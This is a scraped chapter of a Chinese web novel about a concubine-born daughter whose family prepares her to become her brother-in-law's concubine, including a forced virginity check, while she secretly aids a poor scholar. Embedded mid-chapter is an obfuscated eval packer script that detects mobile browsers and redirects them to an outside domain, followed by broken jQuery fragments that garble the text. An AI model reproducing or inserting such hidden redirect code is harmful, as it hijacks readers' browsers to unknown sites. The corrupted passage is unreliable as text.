默认冷灰
24号文字
方正启体

8. 凤钗

作者:旅者的斗篷本书字数:K更新时间:
    太阳照在水磨青砖边边角角的苔藓上,空气清新甜润,春山苍苍,一梭梭燕影盘旋,残雪消融,天气肉眼可见地变暖了。


    嫁入侯府的余家二小姐咸秋风光回门,场面铺张,黄澄澄的阳光熠熠射在她鬓间凤钗上,衬得她雍容华贵,有种天然的贵妇感。


    余邸之前热闹熙攘,甜沁同苦菊两个庶女规矩站立,主母何氏早早迎接。


    咸秋下了马车即和她们抱在一起:“母亲!甜儿,苦儿,几日不见甚是想念。”


    甜沁和苦菊得体的微笑,何氏替女儿抚了抚舟车劳顿的鬓发,充满了爱怜:“风大,进屋说。”


    二小姐回门,府上摆宴,涌现许多平日甜沁这等庶女见不到的珍贵吃食。


    咸秋是高嫁,回门马车塞了满满当当的宝货,珠玉绫罗,山珍海味,应有尽有。


    饭罢,一家人和和气气坐一块,何氏问道:“怎么不好好在谢家服侍夫君,匆匆回门来?”


    咸秋道:“因思念父亲母亲和姊妹弟弟们,才跟夫君报备回门。”


    小厮陆续将马车上的珠玉宝货搬下,礼物琳琅满目,余家的姊妹兄弟们人人有份。


    谢府家大业大,好东西慷慨量大,看得人眼花缭乱,暗叹谢府的泼天富贵。


    甜沁一门心思在晏哥的功课上,想打个照面就回房,却硬生生被叫了过去,礼物数量或贵重程度都远超其它兄弟姊妹。


    咸秋含笑,挨个将价值连城的首饰给甜沁试戴,只觉得这也合适那也合适。


    冰凉的流苏扫过脸颊,甜沁打了个寒噤。


    何氏笑道:“你既疼爱你甜妹妹,索性都赠了她,连同你鬓间这支点翠凤钗。”


    咸秋闻声伸手摘凤钗,比划着插在甜沁鬓间,夸赞她春桃般年轻的美貌。


    甜沁吓了一跳,连连推诿,那只九尾凤凰分明是已婚妇人盘发后才能佩戴的。


    “甜儿当不起,二姐姐快快收回。”


    “仅仅是试戴,看着好看便留下,不好看便算了,有什么所谓。”


    咸秋盈盈的微笑压制住甜沁的抗拒,将凤钗给她戴上,啧啧叹息:“真衬呢,比我戴着好看。”


    苦菊在旁面色阴沉,抿着唇角,将裙角都捏皱了,嫉妒快要掩饰不住。


    甜沁蹙眉瞥向铜镜中莹然灿然的自己,周围的笑语软声,涌起一股不祥的预感。


    前世并没有这一幕,她在春夜去谢府的那晚就饮了酒,送到了姐夫床榻。


    何氏罕见对甜沁慈祥:“瞧你二姐这模样,疼你跟眼珠子似的。”


    咸秋还在不断给甜沁试戴别的珠花,闻声淡淡哀愁:“女儿身弱多病,夫君又朝政繁忙,无法照料于我。每当缠绵病榻时,想的都是甜儿苦儿这几个至亲的姊妹。”


    她捂着心口,犹如一枝凄艳的残花,病若西子。苦菊连忙递帕,何氏亦过去搂着她安慰道:“母亲随口一句,干什么忽然伤心。若实在想你弟弟妹妹们,接过去住两天也使得。”


    咸秋转悲为喜:“甜儿长相甜美,一张小嘴也生得甜,烦恼时最能解女儿心结。若有甜儿长伴身畔,病想不好也难。”


    何氏无奈宠溺:“使得,都使得。”


    甜沁内心如被千刀万剐,自认为会演戏,却在你一言我一语中插不上话。接过去谢府如何使得,只怕一去再也回不来了。


    平日人人骂卑贱的庶女,骤然飞上枝头变凤凰,全家对她态度迥然反转。


    她被打扮成明亮的花枝,温室里备受姐姐疼爱的妹妹,亦或者——待价而沽的妾。


    甜沁警铃大作。


    午后,泱泱一帮丫鬟婆子来到甜沁的闺房,张罗着换掉旧物件,翻新寒酸的装潢,指手画脚,好大的架势。


    晚翠小声嘟囔:“没安好心,前几日小姐的瓷盆掉漆了想要个新的都不给。”


    甜沁捏了捏晚翠的手,一个耳敏的婆子听到,善气迎人说:“三小姐缺盆子用吗?快快把新物什搬进来,多少盆子都有。”


    说媒的冰人过来要了甜沁的生辰八字,细批,说她吉祥,富贵,有旺夫命的。


    几个婆子笑吟吟拉走朝露、晚翠、陈嬷嬷等人,将甜沁单独置于内寝,拉上了帘幕,量体裁衣,又褪下她的底裤,检查她处子之身。


    甜沁霎时要挣扎,切齿到极点,忍着羞辱,蔷薇色的脸颊被欺出了泪,偏生四肢被婆子们摁住。


    一个婆子仔细瞧了半晌:“嗯,瞧着是有福气的小姐,易孕好生养的。”


    另一个婆子油腔滑调:“三小姐别在意,老奴们也是奉了主母和谢夫人之命。”


    甜沁一得脱,急忙穿好衣裳,目光隐隐迸溅仇恨的光芒。


    她强抑怒气,擦了把眼泪。


    朝露等人推开婆子们破门而入,挡在衣衫不整的甜沁面前,大声斥责。


    婆子们并不在意,办好了差事,便好言好语离开,临走前不忘恭喜甜沁。


    甜沁气得恨恨,泪痕未干。


    她不甘这么束手待毙,决然从枕下抽出一金条,偷偷攒了很久的。


    “去二姐姐的院子找管家李福,把钱给他,让他说事情的真相。”


    李福固然是个卑鄙无耻的小人,前世曾卷走了她救命的药钱。


    但此刻,她走投无路。


    姐姐身边的人个个口风严实,除了李福,再难问出半寸真相。


    忍辱负重,她也算做到极限了。


    陈嬷嬷比朝露和晚翠两个丫鬟沉稳,知事情严重,拿着金条去了。


    约了一个时辰,归来,面色煞白。


    “小姐,大事不好。”


    甜沁这才知道,姐夫选了自己为妾。


    蜗居在密不透风的深闺大院,她蒙在鼓里,又被被卖了。


    那日在马车上,他的话都是假的。


    什么替她选夫婿,什么保守秘密,他看似随遇而安,转眼就点了她为妾。


    甜沁清炯的眼睛布满血丝,悬着的心彻底死了,手足冰凉如在冰窟。


    现在如何是好?恳求二姐和主母无济于事,找到谢探微面前更自取其辱,她孤立无援,四面堵死,仿佛只有做妾一条路。


    苦菊的院子离得不远,见婆子给甜沁量衣服又送礼物,而自家院落萧瑟凄凉,羡慕嫉妒,哭哭啼啼。


    “耀武扬威什么,你的名字甜,我的名字苦,我也合该输给你的……”


    “姐姐喜欢你,姐夫也喜欢你,你合该是甜馨儿,而我苦菊就是一苦兮兮的菊。”


    每当难受时,苦菊总爱拿名字说事。余家四女“酸咸甜苦”,苦菊最不喜欢自己的名字。


    甜沁被扰得人好生烦恼,名字又不是她起的,她的人生哪有半分甜。


    晏哥儿在旁,她心念一动,反手抢过他的功课薄,写下几个字递给许君正。


    多日以来,她一直和许君正用功课的隐秘方式联络。<


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16285657|182577||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    /p>


    晏哥儿哇哇哭泣,陈嬷嬷连忙哄着。


    晏哥儿吃罢酥不哭了,甜沁将功课薄放回他书箱里,嘱咐一定要让许先生亲自批改。


    朝露等人心知肚明,甜沁不喜做妾,要死死抓住许先生,从余家火坑跳出去。


    翌日晏哥儿下学后与甜沁作耍,提起许先生缺一块好墨,字迹断断续续。


    其实不单好墨,好纸,好书,好笔,好的老师,好的见识,许君正样样都缺。


    要在对策中赢过那些富家子弟脱颖而出,光靠一腔穷酸的热忱远远不够。


    甜沁稍稍安心,叫朝露把姐姐赠的徽州墨许君正。


    她决意栽培许君正,不惜一切代价。幻想他争气些,取得功名,将来在朝堂上压谢探微一头。


    这事燃眉之急,不得不立即做,保不齐哪天她就被一顶小轿强行抬到谢府去。


    过两日,许君正又在晏哥儿的功课薄传话:缺书。书这种金贵物件,大户人家的藏书阁才有,许君正那几本早被读稀烂了。


    甜沁立即张罗着找书,可惜她平日不怎么爱读,房中书册甚少。


    余家只有一个书阁,被也准备参加暮春对策的大兄长余烨独自霸占。


    她只好卖了那同父异母的兄长好颜色,佯装自己想读书,笑靥如花,乖巧温软,又赔上了咸秋送她的一些好东西。


    余烨吝啬道:“你们女孩家读什么书,那边赋闲的书册可以拿走,我桌上的是暮春策论用的,你不要动。”


    甜沁心想要的就是策论的书册,闲书有何用处,一副柔情似水的样子纠缠道:


    “大哥哥,甜儿也想知道你们策论会考什么内容,保证不损坏,看看便还。”


    余烨抓紧书册,坚持说自己要温习。甜沁好说歹说磨破了檀唇,才偷偷揣走了两册已经被余烨背得滚瓜烂熟的对策书。


    她叫晏哥儿交给许君正,鼓励许君正好好研究,刻苦努力,一定要赢得对策考试。


    许君正见了,十分感动。


    甜沁又想,余烨从小被精心教导,又通通背熟了答案,对策时许君正拿什么争?


    即便许君正把余烨的书都看了,两人最多打成平手,千篇一律而已,许君正怎么能脱颖而出?


    她真正体会到了寒门翻身的难。


    可能像许君正说的,除非“名师”点石为金,很难从千军万马中杀出来。


    许君正考不上功名,她只能束手做妾?


    打扇捧盂,服侍主君主母,过那种暗无天日,孩子被抱走,不认生母,她反而要给孩子行礼,过寒屋冻馁而死的卑微日子?


    甜沁想想都恐怖,她重生一次了,除了恐惧更有野草滋长的不甘。


    不,绝对不。


    许君正同余烨以及天下儒家学子一心一意倾慕的圣师,是她那位姐夫。


    如果姐夫能指导许君正,不用多深刻,哪怕仅仅一篇文章也够许君正镀金了,何愁对策时不鹤立鸡群。


    甜沁朦朦胧胧有这个念头,觉得极其危险,她也是胆子大了,敢利用他。


    谢探微若是傻子还好,爬到暗中高度的人,不显山不露水,怎么会傻呢。


    她心里藏着心事,夜晚翻来覆去睡不着。咸秋送来的那些金银首饰在月辉下散射朦胧的朦胧,华丽而冰凉,无形间如催命咒。


    要想逃离余家的重围——和逃离谢家重围,目前唯一的救命稻草,就是许君正了。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)